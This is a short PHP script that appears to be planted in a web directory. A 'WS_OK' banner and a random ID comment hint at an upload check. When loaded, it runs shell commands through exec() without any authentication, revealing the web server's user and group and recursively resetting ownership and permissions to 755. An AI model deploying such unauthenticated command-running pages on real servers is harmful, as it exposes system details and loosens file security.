WS_OK_7.4.33
<?php /* G3XcSaoPQyWDeE4 */ ?>
<?php
$target_dir = __DIR__;
function runCommand($cmd, &$output = null) {
$output = [];
$return = 0;
exec($cmd . " 2>&1", $output, $return);
return $return;
}
$owner_info = [];
$group_info = [];
runCommand("ls -ld " . escapeshellarg($target_dir), $ls_ld_output);
$ls_line = $ls_ld_output[0] ?? '';
$parts = preg_split('/\s+/', $ls_line);
if (count($parts) >= 4) {
$current_user = $parts[2];
$current_group = $parts[3];
} else {
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$uid = fileowner($target_dir);
$gid = filegroup($target_dir);
$user_arr = posix_getpwuid($uid);
$group_arr = posix_getgrgid($gid);
$current_user = $user_arr['name'] ?? 'unknown';
$current_group = $group_arr['name'] ?? 'unknown';
} else {
$current_user = 'unknown';
$current_group = 'unknown';
}
}
$exec_user = trim(exec('whoami'));
$exec_group = trim(exec('id -gn'));
echo "<pre>";
echo "========================================\n";
echo " AUTO FIX PERMISSIONS\n";
echo "========================================\n";
echo "Target Directory : $target_dir\n";
echo "Current Owner : $current_user\n";
echo "Current Group : $current_group\n";
echo "Web Server User : $exec_user\n";
echo "Web Server Group : $exec_group\n\n";
$chown_user = $current_user;
$chown_group = $current_group;
echo "Akan mengubah kepemilikan menjadi: $chown_user:$chown_group\n";
echo "========================================\n\n";
echo "š Listing direktori SEBELUM perubahan:\n";
runCommand("ls -la " . escapeshellarg($target_dir), $ls_output);
echo implode("\n", $ls_output) . "\n\n";
echo "š Mengubah kepemilikan (chown -R $chown_user:$chown_group)...\n";
$cmd_chown = "chown -R " . escapeshellarg($chown_user . ':' . $chown_group) . " " . escapeshellarg($target_dir);
$return_chown = runCommand($cmd_chown, $chown_out);
if ($return_chown === 0) {
echo "ā
chown berhasil.\n";
} else {
echo "ā chown gagal. Error:\n" . implode("\n", $chown_out) . "\n";
}
echo "\nš Mengubah izin (chmod -R 755)...\n";
$cmd_chmod = "chmod -R 755 " . escapeshellarg($target_dir);
$return_chmod = runCommand($cmd_chmod, $chmod_out);
if ($return_chmod === 0) {
echo "ā
chmod berhasil.\n";
} else {
echo "ā chmod gagal. Error:\n" . implode("\n", $chmod_out) . "\n";
}
echo "\nš Listing direktori SESUDAH perubahan:\n";
runCommand("ls -la " . escapeshellarg($target_dir), $ls_output_after);
echo implode("\n", $ls_output_after) . "\n";
echo "\n========================================\n";
echo "Selesai.\n";
echo "</pre>";
?>